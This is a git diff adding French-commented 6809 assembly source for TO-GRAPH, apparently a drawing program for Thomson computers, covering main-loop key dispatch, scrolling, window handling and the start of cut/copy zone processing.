+       LDD    #$7000
+       STD    SECBUF
+       ADDD   #256
+       STD    FATPTR
+       LDA    #5
+       LDB    #166
+       MUL
+       ADDD   FATPTR
+       TFR    D,X
+       LDY    #5
+       LDA    #2
+       LDB    #FCBINI
+       JSR    EXTRA
+
+* DP sur zone tiroir (rapidité max !!!)
+       LDD    #MANTIR
+       TFR    A,DP
+
+* Vérification RAM disponible
+       LDA    MAXBK
+       DECA             ->nb bank disp.
+       CMPA   #11
+       BGE    OKRAM     ->
+       LDB    #FF       'Out of memory'
+       JSR    PUTC
+       LDX    #MOUT
+BOUT   LDB    ,X+
+       BEQ    BOUT1
+       JSR    PUTC
+       BRA    BOUT      ->
+BOUT1  JSR    GETC
+       TSTB
+       BEQ    BOUT1     ->
+       JMP    MENU      ->>>>>>
+
+* Car. utilisateurs
+OKRAM  LDD    #CARUSR
+       STD    USERAF
+
+* Outil courant
+       LDA    #POINTS
+       STA    OUTIL
+       LDA    #1
+       STA    TLIGN
+       LDA    #TCN
+       STA    TCAR
+
+* Etat courant de l'outil
+       LDA    #POINTE
+       STA    ETAOUT
+       CLR    COPALB    pas copie album
+
+* Tortue standard
+       LDA    #$FF
+       STA    STDTOR
+
+* Motif courant
+       LDX    #CARMOT   damier
+       LDY    #MOTREM
+       LEAY   8*13,Y
+BRZMOT LDA    ,Y+
+       STA    ,X+
+       CMPX   #MOTIF
+       BNE    BRZMOT    ->
+       LDB    #$FF      plein
+BFFMOT STB    ,X+
+       CMPX   #PLEIN
+       BNE    BFFMOT    ->
+
+* Visualisation
+       LDB    #RESETW
+       JSR    EXTRA
+
+       LDB    #ESC      80 col
+       JSR    PUTC
+       LDB    #$5B
+       JSR    PUTC
+
+       LDD    MEMC0
+       CMPD   #$FFFF
+       BNE    SUIXY0    ->
+       LDA    $E7E6     autorise écritur
+       ORA    #$40      cartouche
+       STA    $E7E6
+       LDA    #0        mémo coul. 0
+       LDX    #$FFFF
+       LDY    #0
+       JSR    SETP
+       STX    MEMC0
+       LDA    #1        mémo coul. 1
+       LDX    #$FFFF
+       LDY    #0
+       JSR    SETP
+       STX    MEMC1
+       LDA    $E7E6     interdit écritur
+       ANDA   #$BF      cartouche
+       STA    $E7E6
+
+       LDA    #1        nouv coul. 1
+       LDX    #0
+       LDY    MEMC0
+       JSR    SETP
+       LDA    #8        nouv.coul. 0
+       LDX    #$FFFF
+       LDY    #0
+       JSR    SETP
+       LDA    #0
+       TFR    X,Y
+       LDX    #0
+       JSR    SETP
+       BRA    SUIXY0    ->
+
+MEMC0  FDB    $FFFF     mémo palette
+MEMC1  FDB    $FFFF
+
+* Bank RAM
+SUIXY0 LDA    #BKTIR
+       STA    BANKC
+
+* Pas de tiroir ni de loupe ni d'album
+* courant ni de dessin courant
+       CLR    FLGTIR
+       CLR    FLGLOU
+       LDD    #0
+       STD    ALBCOU
+       STD    DESCOU
+       STD    DESCOU+2
+       STD    DESCOU+4
+       STD    DESCOU+6
+
+* Coefficient réel de passage point
+* écran -> point imprimante
+       LDX    #ASCCOE
+       LDY    #ZONTRA
+BVERRA LDA    ,X+
+       STA    ,Y+
+       BNE    BVERRA    ->
+       LDY    #ZONTRA
+       LDB    #EXTFIN
+       JSR    EXTRA
+       LDX    #COEFMU
+       LDB    #MOVMF
+       JSR    EXTRA
+
+* Tortue du mode caractère
+       LDY    #TORTXT
+       LDB    #INITOR
+       JSR    EXTRA
+       CLR    TXTX+2
+       CLR    TXTY+2
+       CLR    FLGTXT
+       CLR    CLITXT
+
+* Position de l'écran dans la feuille et
+* déplacement de celle-ci dans ses banks
+       LDD    #0
+       STD    <ADF
+       CLR    <CLDECR
+       CLR    <RGDECR
+
+* Chien de garde par IT timer
+       JSR    INIDOG
+
+* Fenêtrage
+       LDX    #ZONFEN
+       LDA    #PBKPIL
+       LDB    #DBKPIL
+       TFR    D,U
+       LDA    #NOIR
+       LDB    #GRIS
+       JSR    FENINI
+
+* Activation Fenêtre principale
+*---------------------------------------
+
+       LDX    #FENPR
+       LDD    #0
+       JSR    FENRPL
+
+       JSR    AFFOPT  Options courantes
+
+       JSR    VISASB  Visu ascenceurs
+       JSR    VISASD
+
+       LDX    #FENTIT Titre
+       LDD    #$0606
+       JSR    FENOUV
+
+       JSR    RAZF    raz feuille
+       JSR    INIALB  chargement albums
+
+       CLRB
+       JSR    FENFER
+
+       JSR    FENACT
+
+* Attente principale
+*---------------------------------------
+
+EXEC1  LDU    #PILFEN   mémo retour FEN
+       JSR    FEN
+       PSHU   CC,D,X,Y
+EXEC10 CMPB   #$90
+       LBEQ   XFICH     ->
+       CMPB   #$91
+       LBEQ   XTIROI    ->
+       CMPB   #$92
+       LBEQ   XCADRA    ->
+       CMPB   #$93
+       LBEQ   XALBU     ->
+       CMPB   #$94
+       LBEQ   XIMPR     ->
+       CMPB   #$98
+       LBEQ   XALBUF    ->
+       CMPB   #$0F
+       LBEQ   XOUTI     ->
+       CMPB   #$10
+       LBEQ   XMOTI     ->
+       CMPB   #$14
+       LBEQ   XCTLIG    ->
+       CMPB   #$15
+       LBEQ   XCTCAR    ->
+       CMPB   #$05
+       LBEQ   XRAZ      ->
+       CMPB   #$11
+       LBEQ   XRET      ->
+       CMPB   #BS
+       LBEQ   XSCG      ->
+       CMPB   #HT
+       LBEQ   XSCD      ->
+       CMPB   #VT
+       LBEQ   XSCH      ->
+       CMPB   #LF
+       LBEQ   XSCB      ->
+       CMPB   #$80+BS
+       LBEQ   XPG       ->
+       CMPB   #$80+HT
+       LBEQ   XPD       ->
+       CMPB   #$80+VT
+       LBEQ   XPH       ->
+       CMPB   #$80+LF
+       LBEQ   XPB       ->
+       CMPB   #INS
+       LBEQ   XINS      ->
+       CMPB   #$80
+       LBEQ   XASCH     ->
+       CMPB   #$81
+       LBEQ   XASCV     ->
+
+***----------------------------------***
+***    Gestion des tracés
+***----------------------------------***
+
+EXEC3  LDA    ETAOUT
+       CMPA   #POINTE
+       LBNE   XTIRE     ->
+
+       LDA    REGCC     #Etat pointage
+       TFR    A,CC
+       LBCC   EXEC4     pas clic ->
+       LDX    #$0104    clic !
+       LDY    #$174A
+       JSR    SOUDAN
+       LBCC   EXEC1     pas dans écran >
+       JSR    PTOUT     // pointage
+       LBRA   EXEC7     ->
+
+EXEC4  LDX    #$0104
+       LDY    #$174A
+       JSR    SOUDAN
+       LBCS   EXEC5     dans écran ->
+
+       TST    STDTOR    -hors écran-----
+       LBNE   EXEC7     tortue ok ->
+       JSR    FENDES
+       JSR    TRAMAX    tortue std
+       LDA    #$FF
+       STA    STDTOR
+       CLRA
+       CLRB
+       JSR    FENTOR
+       JSR    FENACT
+       LBRA   EXEC7     ->
+
+EXEC5  TST    STDTOR    -dans écran-----
+       LBEQ   EXEC7     tortue ok ->
+       JSR    FENDES
+       JSR    TRAMIN
+       CLR    STDTOR
+       LDA    OUTIL
+       CMPA   #CARACT
+       BEQ    EXEC61    ASCII ->
+       CMPA   #COLLER
+       BEQ    EXEC60    COLLER ->
+       LDX    #TORPT    pointage
+       LDB    #LTORPT   -> croix fixe
+       LDA    #1
+       JSR    FENTOR
+       JSR    FENACT
+       LBRA   EXEC7     ->
+
+EXEC60 JSR    TORCOL    tortue fixe
+       BRA    EXEC69    selon tiroir
+
+EXEC61 LDB    TCAR      ASCII
+       SUBB   #TCN      -> rect. fixe
+       PSHS   B
+       LSLB
+       ADDB   ,S+
+       LDX    #TABTOR
+       ABX
+       LDB    2,X
+       LDX    ,X
+       LDA    #1
+       JSR    FENTOR
+EXEC69 JSR    FENACT
+
+EXEC7  LDA    OUTIL
+       CMPA   #LOUPE
+       LBEQ   EXEC80    ->
+       CMPA   #CARACT
+       BEQ    EXEC75    ->
+       CMPA   #COLLER
+       BEQ    EXEC71    ->
+       TST    COPALB
+       BNE    EXEC70    ->
+       LBRA   EXEC1     ->
+
+*      Copie à partir album
+
+EXEC70 LDA    REGCC
+       TFR    A,CC
+       BEQ    EXEC7A    ->
+       LDA    REGB
+       CMPA   #FF
+       LBNE   EXEC1     ->
+EXEC7A JSR    RAZOUT    fin copie album
+EXEC7B JSR    LPIN
+       BEQ    EXEC7B    ->
+       LBRA   EXEC1     ->
+
+*      Visu temporaire tiroir
+
+EXEC71 LDA    REGCC
+       TFR    A,CC
+       LBNE   EXEC1     ->
+       JSR    TMPTIR
+       LBRA   EXEC1     ->
+
+*      Visu caractère en dynamique ...
+
+EXEC75 LDX    #$0104
+       LDY    #$174A
+       JSR    SOUDAN
+       LBCC   EXEC1     hors écran ->
+       LDB    REGB
+       LBEQ   EXEC1     ->
+       CMPB   #1
+       BNE    EXEC8     ->
+       LDX    #CARMOT   ctA=>motif cour.
+       LDY    #TXTMOT
+BCOPT0 LDD    ,X++
+       STD    ,Y++
+       CMPX   #MOTIF
+       BNE    BCOPT0    ->
+       BRA    EXEC9     ->
+EXEC8  LDY    #TXTMOT   en mode pointage
+       JSR    XTRMOT    dynamiquee
+       LBCC   EXEC1     ->
+EXEC9  JSR    FENDES   visu car.
+       LDX    REGX
+       LDY    REGY
+       JSR    EXPCAR
+       JSR    FENACT
+       LBRA   EXEC1     ->
+
+*      Visualisation loupe si déplac.
+
+EXEC80 LDA    FLGLOU
+       BEQ    EXEC81    ->
+       CMPA   #2
+       LBEQ   EXEC1     ->
+       TST    REGA
+       LBEQ   EXEC1     ->
+EXEC81 JSR    VISLOU
+       LBRA   EXEC1     ->
+
+XTIRE  LDA    REGCC
+       TFR    A,CC
+       BEQ    ABANTI    abandon ->
+       LDB    REGB
+       CMPB   #FF
+       BEQ    ABANTI    abandon ->
+       LDA    REGCC
+       TFR    A,CC
+       BCS    XTIRE6    clic ->
+       LDA    OUTIL
+       CMPA   #CARACT
+       BEQ    XTIRE4    saisie car. ->
+       LDX    #$0104    # tracé
+       LDY    #$174A
+       JSR    SOUDAN
+       LBCC   EXEC1     hors écran ->
+       TST    REGA
+       BNE    XTIRE5    mouvement ->
+       LBRA   EXEC1     ->
+XTIRE4 TST    REGB      # mode caract.
+       LBEQ   EXEC1     rien frappé ->
+
+XTIRE5 JSR    TIROUT    // tracé avant
+       LBRA   EXEC1     ->          clic
+
+XTIRE6 JSR    DESOUT    // dessin après
+       LBRA   EXEC1     ->          clic
+
+ABANTI EQU    *         abandon
+       LDA    COPALB    RAZ et clic droi
+       PSHS   A         ne fait que
+       CLR    COPALB    abandon partiel
+*                       si copie album
+       JSR    RAZOUT
+       PULS   A
+       STA    COPALB
+ABANT0 JSR    LPIN
+       BEQ    ABANT0    ->
+       LBRA   EXEC1     ->
+
+
+*** INS = fonction page pour le scroll
+XINS   JSR    FEN
+       LDU    #PILFEN   mémo retour FEN
+       PSHU   CC,D,X,Y
+       TSTB
+       BEQ    XINS      ->
+       CMPB   #BS
+       LBEQ   XPG       ->
+       CMPB   #HT
+       LBEQ   XPD       ->
+       CMPB   #VT
+       LBEQ   XPH       ->
+       CMPB   #LF
+       LBEQ   XPB       ->
+       CMPB   #RS
+       LBEQ   XRS       ->
+       CMPB   #FF
+       LBEQ   XFF       ->
+       LBRA   EXEC10    ->
+
+*** Sélection taille lignes
+XCTLIG EQU    *
+       JSR    TRAMAX
+       LDA    OUTIL
+       CMPA   #CARACT
+       BNE    XCTLI0    ->
+       LDA    ETAOUT
+       CMPA   #TIRE
+       BNE    XCTLI0    ->
+       LDX    #$0104
+       LDY    #$174A
+       JSR    SOUDAN
+       BCC    XCTLI0    pas dans écran >
+       JSR    TRAMIN
+
+XCTLI0 JSR    FENDES
+       JSR    TRAMIN
+       JSR    INVLIG
+       INC    TLIGN
+       LDA    TLIGN
+       CMPA   #4
+       BLT    XCTLI1    ->
+       LDA    #1
+       STA    TLIGN
+XCTLI1 JSR    INVLIG
+       JSR    TRAMAX
+       JSR    AFFOPT
+
+       LBRA   XCTCL     ->
+
+*** Sélection taille caractères
+XCTCAR EQU    *
+       JSR    TRAMAX
+       LDA    OUTIL
+       CMPA   #CARACT
+       BNE    XCTCA0    ->
+       LDA    ETAOUT
+       CMPA   #TIRE
+       BNE    XCTCA0    ->
+       LDX    #$0104
+       LDY    #$174A
+       JSR    SOUDAN
+       BCC    XCTCA0    pas dans écran >
+       JSR    TRAMIN
+
+XCTCA0 JSR    FENDES
+       JSR    EFFCAR
+       INC    TCAR
+       LDA    TCAR
+       CMPA   #TCDT
+       BLE    XCTCA1    ->
+       LDA    #TCN
+XCTCA1 STA    TCAR
+       JSR    AFFCAR
+       JSR    TRAMAX
+       JSR    AFFOPT
+
+XCTCL  LDA    OUTIL
+       CMPA   #CARACT
+       BNE    XCTCA2    ->
+       LDA    ETAOUT
+       CMPA   #TIRE
+       BEQ    XCTCA3    souris std ->
+*      BRA    XCTCA4    souris car ->
+
+XCTCA2 LDX    #$0104
+       LDY    #$174A
+       JSR    SOUDAN
+       BCS    XCTCA4    dans écran ->
+
+XCTCA3 JSR    TRAMAX
+       JSR    FENACT
+       LBRA   EXEC1     ->
+XCTCA4 JSR    TRAMIN
+       JSR    FENACT
+       LBRA   EXEC1     ->
+
+*** Sélection FICHIER
+XFICH  EQU    *
+       JSR    RAZOUT
+       JSR    SPFICH
+       TSTB
+       LBEQ   EXEC1     ->
+       LBRA   EXEC10    ->
+
+*** Sélection TIROIR     (F2)
+XTIROI EQU    *
+       JSR    RAZOUT
+       JSR    SPTIRO
+       TSTB
+       LBEQ   EXEC1     ->
+       LBRA   EXEC10    ->
+
+*** Sélection CADRAGE    (F3)
+XCADRA EQU    *
+       JSR    RAZOUT
+       LBSR   FENDES
+       LBSR   SAUVE
+
+       CLRA
+       JSR    SPCADR
+       BNE    XCADRX
+       TSTB
+       LBEQ   EXEC1     ->
+       LBRA   EXEC10    ->
+XCADRX CLRB
+       JSR    FENFER
+       JSR    RESTAU
+       JSR    FENACT
+       LBRA   EXEC1     ->
+
+*** Sélection ALBUMS     (F4)
+XALBU  EQU    *
+       LDD    ALBCOU
+       BEQ    XALBU2    ->
+       LDU    #100
+XALBU1 JSR    FEN
+       CMPB   #$93
+       LBEQ   XALBUF    double F4 ->
+       LEAU   -1,U
+       CMPU   #0
+       BNE    XALBU1    ->
+
+XALBU2 JSR    RAZOUT
+       JSR    SPALBU
+       TSTB
+       LBEQ   EXEC1     ->
+       LBRA   EXEC10    ->
+
+*** Sélection IMPRESSION (F5)
+XIMPR  EQU    *
+       JSR    RAZOUT
+       JSR    SPIMPR
+       TSTB
+       LBEQ   EXEC1     ->
+       LBRA   EXEC10    ->
+
+*** Sélection OUTILS     (ctrl) O
+XOUTI  EQU    *
+       JSR    RAZOUT
+       JSR    SPOUTI
+       TSTB
+       LBEQ   EXEC1     ->
+       LBRA   EXEC10    ->
+
+*** Sélection MOTIFS     (ctrl) P
+XMOTI  EQU    *
+       JSR    RAZOUT
+       JSR    SPMOTI
+       TSTB
+       LBEQ   EXEC1     ->
+       LBRA   EXEC10    ->
+
+*** Sélection EFFACEMENT (DEL)
+XRAZ   EQU    *
+       PSHS   B
+       JSR    RAZOUT
+       PULS   B
+       JSR    SPRAZ
+       TSTB
+       LBEQ   EXEC1     ->
+       LBRA   EXEC10    ->
+
+*** Sélection RETOUR     (ctrl) Q
+XRET   EQU    *
+       JSR    RAZOUT
+       JSR    FENDES
+       JSR    RESTAU
+       JSR    FENACT
+       LBRA   EXEC1     ->
+
+*** Sélection scroll G   (BS)
+XSCG   EQU    *
+       TST    FLGTXT
+       LBEQ   XSCGS      scroll ->
+
+       LDX    TXTX       mode caractère
+       LEAX   -8,X
+       LDA    TCAR
+       CMPA   #TCN
+       BEQ    XSCGT0    ->
+       CMPA   #TCDH
+       BEQ    XSCGT0    ->
+       LEAX   -8,X
+       CMPX   #16
+       BLE    XSCGT2    ->
+       BRA    XSCGT1    ->
+XSCGT0 CMPX   #24
+       BLE    XSCGT2    ->
+XSCGT1 STX    TXTX
+       LBRA   VITCAR    ->
+XSCGT2 LDB    #7
+       JSR    PUTC
+       LBRA   EXEC1     ->
+
+XSCGS  LDA    CLDECR
+       LBEQ   EXEC1     au bout ->
+       JSR    RAZOUT
+       JSR    FENDES
+       JSR    SAUVE
+       DEC    CLDECR
+       JSR    RESTAU
+       JSR    VISASB
+       JSR    FENACT
+       LBRA   EXEC1     ->
+
+*** Sélection scroll D   (HT)
+XSCD   EQU    *
+       TST    FLGTXT
+       LBEQ   XSCDS      scroll ->
+
+       LDX    TXTX       mode caractère
+       LEAX   8,X
+       LDA    TCAR
+       CMPA   #TCN
+       BEQ    XSCDT0    ->
+       CMPA   #TCDH
+       BEQ    XSCDT0    ->
+       LEAX   8,X
+XSCDT0 CMPX   #623
+       BCC    XSCDT1    ->
+       STX    TXTX
+       LBRA   VITCAR    ->
+XSCDT1 LDB    #7
+       JSR    PUTC
+       LBRA   EXEC1     ->
+
+XSCDS  LDA    CLDECR
+       CMPA   #23
+       LBGE   EXEC1     au bout ->
+       JSR    RAZOUT
+       JSR    FENDES
+       JSR    SAUVE
+       INC    CLDECR
+       JSR    RESTAU
+       JSR    VISASB
+       JSR    FENACT
+       LBRA   EXEC1     ->
+
+*** Sélection scroll H   (VT)
+XSCH   EQU    *
+       TST    FLGTXT
+       LBEQ   XSCHS      scroll ->
+
+       LDY    TXTY       mode caractère
+       LEAY   -8,Y
+       LDA    TCAR
+       CMPA   #TCN
+       BEQ    XSCHT0    ->
+       CMPA   #TCDL
+       BEQ    XSCHT0    ->
+       LEAY   -8,Y
+XSCHT0 CMPY   #8
+       BLT    XSCHT1    ->
+       STY    TXTY
+       LBRA   VITCAR    ->
+XSCHT1 LDB    #7
+       JSR    PUTC
+       LBRA   EXEC1     ->
+
+XSCHS  LDA    RGDECR
+       LBEQ   EXEC1     au bout ->
+       JSR    RAZOUT
+       JSR    FENDES
+       JSR    SAUVE
+       DEC    RGDECR
+       JSR    RESTAU
+       JSR    VISASD
+       JSR    FENACT
+       LBRA   EXEC1     ->
+
+*** Sélection scroll B   (LF)
+XSCB   EQU    *
+       TST    FLGTXT
+       LBEQ   XSCBS      scroll ->
+
+       LDY    TXTY       mode caractère
+       LEAY   8,Y
+       LDA    TCAR
+       CMPA   #TCN
+       BEQ    XSCBT0    ->
+       CMPA   #TCDL
+       BEQ    XSCBT0    ->
+       LEAY   8,Y
+       CMPY   #207
+       BGE    XSCBT2    ->
+       BRA    XSCBT1    ->
+XSCBT0 CMPY   #199
+       BGE    XSCBT2    ->
+XSCBT1 STY    TXTY
+       LBRA   VITCAR    ->
+XSCBT2 LDB    #7
+       JSR    PUTC
+       LBRA   EXEC1     ->
+
+XSCBS  LDA    RGDECR
+       CMPA   #79
+       LBGE   EXEC1     au bout ->
+       JSR    RAZOUT
+       JSR    FENDES
+       JSR    SAUVE
+       INC    RGDECR
+       JSR    RESTAU
+       JSR    VISASD
+       JSR    FENACT
+       LBRA   EXEC1     ->
+
+*** Sélection page   G   (INS+BS)
+XPG    EQU    *
+       TST    FLGTXT
+       LBEQ   XPGS       scroll ->
+
+       LDX    #32        mode caractère
+       STX    TXTX
+       LBRA   VITCAR    ->
+
+XPGS   LDA    CLDECR
+       LBEQ   EXEC1     au bout ->
+       JSR    RAZOUT
+       JSR    FENDES
+       JSR    SAUVE
+       CLR    CLDECR
+       JSR    RESTAU
+       JSR    VISASB
+       JSR    FENACT
+       LBRA   EXEC1     ->
+
+*** Sélection page   D   (INS+HT)
+XPD    EQU    *
+       TST    FLGTXT
+       LBEQ   XPDS       scroll ->
+
+       LDX    #616       mode caractère
+       LDA    TCAR
+       CMPA   #TCN
+       BEQ    XPDT0     ->
+       CMPA   #TCDH
+       BEQ    XPDT0     ->
+       LDX    #608
+XPDT0  STX    TXTX
+       LBRA   VITCAR    ->
+
+XPDS   LDA    CLDECR
+       CMPA   #23
+       LBGE   EXEC1     au bout ->
+       JSR    RAZOUT
+       JSR    FENDES
+       JSR    SAUVE
+       LDA    #23
+       STA    CLDECR
+       JSR    RESTAU
+       JSR    VISASB
+       JSR    FENACT
+       LBRA   EXEC1     ->
+
+*** Sélection page   H   (INS+VT)
+XPH    EQU    *
+       TST    FLGTXT
+       LBEQ   XPHS       scroll ->
+
+       LDY    #15        mode caractère
+       LDA    TCAR
+       CMPA   #TCN
+       BEQ    XPHT0     ->
+       CMPA   #TCDL
+       BEQ    XPHT0     ->
+       LDY    #23
+XPHT0  STY    TXTY
+       LBRA   VITCAR    ->
+
+XPHS   LDA    RGDECR
+       LBEQ   EXEC1     au bout ->
+       JSR    RAZOUT
+       JSR    FENDES
+       JSR    SAUVE
+       LDA    RGDECR
+       SUBA   #20
+       BGE    XPHS0     ->
+       CLRA
+XPHS0  STA    RGDECR
+       JSR    RESTAU
+       JSR    VISASD
+       JSR    FENACT
+       LBRA   EXEC1     ->
+
+*** Sélection page   B   (INS+LF)
+XPB    EQU    *
+       TST    FLGTXT
+       LBEQ   XPBS       scroll ->
+
+       LDY    #191       mode caractère
+       STY    TXTY
+       LBRA   VITCAR    ->
+
+XPBS   LDA    RGDECR
+       CMPA   #79
+       LBGE   EXEC1     au bout ->
+       JSR    RAZOUT
+       JSR    FENDES
+       JSR    SAUVE
+       LDA    RGDECR
+       ADDA   #20
+       CMPA   #79
+       BLE    XPBS0     ->
+       LDA    #79
+XPBS0  STA    RGDECR
+       JSR    RESTAU
+       JSR    VISASD
+       JSR    FENACT
+       LBRA   EXEC1     ->
+
+*** Sélection haut d'écran (ctrl)T
+XRS    EQU    *
+       TST    FLGTXT
+       LBNE   EXEC3      mode caract. ->
+
+       TST    CLDECR
+       BNE    XRRS0     ->
+       TST    RGDECR
+       BNE    XRRS0     ->
+       LBRA   EXEC1     au bout ->
+XRRS0  JSR    RAZOUT
+       JSR    FENDES
+       JSR    SAUVE
+       CLR    CLDECR
+       CLR    RGDECR
+       JSR    RESTAU
+       JSR    VISASD
+       JSR    VISASB
+       JSR    FENACT
+       LBRA   EXEC1     ->
+
+*** Sélection bas  d'écran (ctrl)B
+XFF    EQU    *
+       TST    FLGTXT
+       LBNE   EXEC3      mode caract. ->
+
+       LDA    CLDECR
+       CMPA   #23
+       BNE    XFFS0     ->
+       LDA    RGDECR
+       CMPA   #79
+       BNE    XFFS0     ->
+       LBRA   EXEC1     au bout ->
+XFFS0  JSR    RAZOUT
+       JSR    FENDES
+       JSR    SAUVE
+       LDA    #23
+       STA    CLDECR
+       LDA    #79
+       STA    RGDECR
+       JSR    RESTAU
+       JSR    VISASD
+       JSR    VISASB
+       JSR    FENACT
+       LBRA   EXEC1     ->
+
+*** Clic dans ascenseur horizontal
+XASCH  LDD    REGX
+       SUBD   #12*8
+       LSRA
+       RORB
+       LSRA
+       RORB
+       LSRB
+       SUBB   #15
+       BPL    XASCH0    ->
+       CLRB
+XASCH0 CMPB   #23
+       BLE    XASCH1    ->
+       LDB    #23
+XASCH1 CMPB   CLDECR
+       LBEQ   EXEC1     ->
+       PSHS   B
+       JSR    RAZOUT
+       JSR    FENDES
+       JSR    SAUVE
+       PULS   B
+       STB    CLDECR
+       JSR    VISASB
+       JSR    RESTAU
+       JSR    FENACT
+       LBRA   EXEC1     ->
+
+*** Clic dans ascenseur vertical
+XASCV  LDD    REGY
+       SUBB   #4*8
+       LSRB
+       LSRB
+       LSRB
+       SUBB   #2
+       BPL    XASCV0    ->
+       CLRB
+XASCV0 LDA    #6
+       MUL
+       CMPD   #79
+       BLE    XASCV1    ->
+       LDD    #79
+XASCV1 CMPB   RGDECR
+       LBEQ   EXEC1     ->
+       PSHS   B
+       JSR    RAZOUT
+       JSR    FENDES
+       JSR    SAUVE
+       PULS   B
+       STB    RGDECR
+       JSR    VISASD
+       JSR    RESTAU
+       JSR    FENACT
+       LBRA   EXEC1     ->
+
+*** Visu nouvelle tortue caractère
+VITCAR JSR    FENDES
+       JSR    TRAMIN
+       LDY    #TORTXT
+       LDB    #MOVE
+       JSR    EXTRA
+       JSR    TRAMAX    pour tortue sour
+       JSR    FENACT
+       LBRA   EXEC1     ->
+
+*** Sélection copie album courant (F9)
+***                     (ou double F4)
+XALBUF JSR    RAZOUT
+       LDX    ALBCOU
+       LBEQ   EXEC1     pas alb. cour ->
+
+* Nb: posit. bank car CODE maintient un
+*     pseudo bank courant
+
+       PSHS   X
+       LDB    #ESC      tour magenta
+       JSR    PUTC
+       LDB    #$65
+       JSR    PUTC
+
+       JSR    FENDES
+       JSR    SAUVE
+       JSR    TRAMIN    fixe écran trav
+
+       LDA    OUTIL     outil "copier"
+       STA    COPAOU      temporaire
+       LDA    #$FF
+       STA    COPALB
+       LDA    #COUCOP
+       STA    OUTIL
+       JSR    AFFOPT
+       PULS   X
+
+       LDD    #$A002
+       STD    DEBZON
+       LDA    BANKC     mémo
+       LDB    8,X
+       STB    BANKC
+       DECB
+       STB    DEBZON+2
+       LDB    #$FF
+       STB    PUTFLG
+       LDB    #5
+       STB    X0COD
+       LDB    #1
+       STB    Y0COD
+       LDB    #CODE
+       JSR    EXTRA
+       STA    BANKC
+
+       JSR    TRAMAX
+       JSR    FENACT
+       LBRA   EXEC1     ->
diff --git a/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-X1.ASM b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-X1.ASM
new file mode 100755
index 0000000..253263c
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-X1.ASM
@@ -0,0 +1,1218 @@
+       TITLE  TO-GRAPH: Traitement
+*      ------------------------------
+       PAGE
+
+****************************************
+*                                      *
+*           TO-GRAPH                   *
+*                                      *
+*    Traitement: GRAPH-X               *
+*                                      *
+****************************************
+
+
+*=======================================
+* S/P traitement du dessin définitif
+*=======================================
+
+DESOUT EQU    *
+*---------------------------------------
+
+DESOU0 JSR    LPIN      anti-rebond
+       BCS    DESOU0    ->
+
+       JSR    FENDES
+       LDB    OUTIL
+       LSLB
+       ADDB   OUTIL
+       LEAX   XDEOUT,PCR
+       JSR    B,X
+       JSR    FENACT
+       LDB    #POINTE   et rebelote !!!
+       STB    ETAOUT
+XDF    RTS              ->>
+*---------------------------------------
+XDEOUT LBRA   XDF       points
+       LBRA   XDLIGN
+       LBRA   XDRECT
+       LBRA   XDRECT    carré
+       LBRA   XDELLI
+       LBRA   XDELLI    cercle
+       LBRA   XDCARA    caractère
+       LBRA   XDF       peinture
+       LBRA   XDF       gomme
+       LBRA   XDF       loupe
+       LBRA   XDCOUC    couper/copier
+       LBRA   XDF       coller
+*---------------------------------------
+
+XDCARA JSR    RAZOUT
+*-----
+       RTS
+
+XDCOUC LEAS   -2,S
+*-----
+MEMACT SET    0
+MEMCOP SET    1
+
+*      calculer coord. en croissant
+       LDD    X0TIRE
+       STD    <XT0
+       LDD    X1TIRE
+       STD    <XT1
+       CMPD   X0TIRE
+       BCC    XDCC0     ->
+       STD    <XT0
+       LDD    X0TIRE
+       STD    <XT1
+XDCC0  LDA    Y0TIRE+1
+       STA    <YT0
+       LDA    Y1TIRE+1
+       STA    <YT1
+       CMPA   Y0TIRE+1
+       BCC    XDCC1     ->
+       STA    <YT0
+       LDA    Y0TIRE+1
+       STA    <YT1
+
+*      calcul dimensions point de la
+*      zone... on ignore si trop petite
+*      (erreur probable !)
+XDCC1  LDA    <YT1
+       SUBA   <YT0
+       INCA
+       CMPA   #8
+       LBCS   XDCCFI    ->
+       LDD    <XT1
+       SUBD   <XT0
+       ADDD   #1
+       CMPD   #8
+       LBCS   XDCCFI    ->
+
+*      sélection du traitement appliqué
+*      à la zone sélectionnée sauf en
+*      copie d'album ou on ne fait que
+*      "copier"
+       LDA    COPALB
+       STA    MEMCOP,S
+       BEQ    XDCC00    ->
+       CLR    COPALB    pour RAZOUT !!!
+       LDA    #$43
+       STA    MEMACT,S
+       LBRA   XDCC05    ->
+
+XDCC00 LDB    Y1TIRE+1
+       LSRB
+       LSRB
+       LSRB
+       LDA    #16
+       CMPB   #16
+       BLE    XDCC40    ->
+       TFR    A,B
+XDCC40 PSHS   B
+       LDD    X1TIRE
+       LSRA
+       RORB
+       LSRA
+       RORB
+       LSRB
+       LDA    #60
+       CMPB   #60
+       BLE    XDCC41    ->
+       TFR    A,B
+XDCC41 PULS   A
+       LDX    #FFCOUC
+       JSR    FENOUV
+       JSR    FENACT
+XDCC42 JSR    FEN
+       CMPB   #$03
+       BEQ    XDCC43    ->
+       CMPB   #$43
+       BEQ    XDCC43    ->
+       CMPB   #$49
+       BEQ    XDCC43    ->
+       CMPB   #FF
+       BNE    XDCC42    ->
+       CLRB
+       JSR    FENFER
+XDCCFI LEAS   2,S
+       LEAS   2,S       RTS de XDCOUC
+       JSR    FENACT
+       RTS              ->>
+
+XDCC43 STB    MEMACT,S
+       CLRB
+       JSR    FENFER
+XDCC05 JSR    RAZOUT
+       JSR    FENDES
+
+*      acquérir le tiroir sur l'écran
+       JSR    LITTIR
+
+*      effectuer le traitement demandé
+*      sur la zone sélectionnée
+       LDB    MEMACT,S
+       CMPB   #$03
+       BEQ    XDCC50    ->
+       CMPB   #$49
+       LBEQ   XDCC70    ->
+
+*      simple copie
+       TST    MEMCOP,S
+       BEQ    XDCCFF    ->
+       LDB    #ESC      fin copie album
+       JSR    PUTC
+       LDB    #$60
+       JSR    PUTC
+       LDA    COPAOU
+       STA    OUTIL
+       JSR    AFFOPT
+       JSR    RESTAU    restaure visu
+XDCCFF LEAS   2,S       simple copie !
+       RTS              ->>
+
+*      effacement zone mise en tiroir
+XDCC50 LDA    #$FF
+       STA    FILFLG
+       LDD    #PLEIN
+       STD    MACP
+       JSR    TRRAZ
+       LDX    X0TIRE
+       STX    XXXXXX
+       LDY    Y0TIRE
+       STY    YYYYYY
+       LDX    X1TIRE
+       LDY    Y1TIRE
+       LDB    #BOX
+       JSR    EXTRA
+       JSR    TRNORM
+       LEAS   2,S
+       RTS              ->>
+
+*      inversion zone mise en tiroir
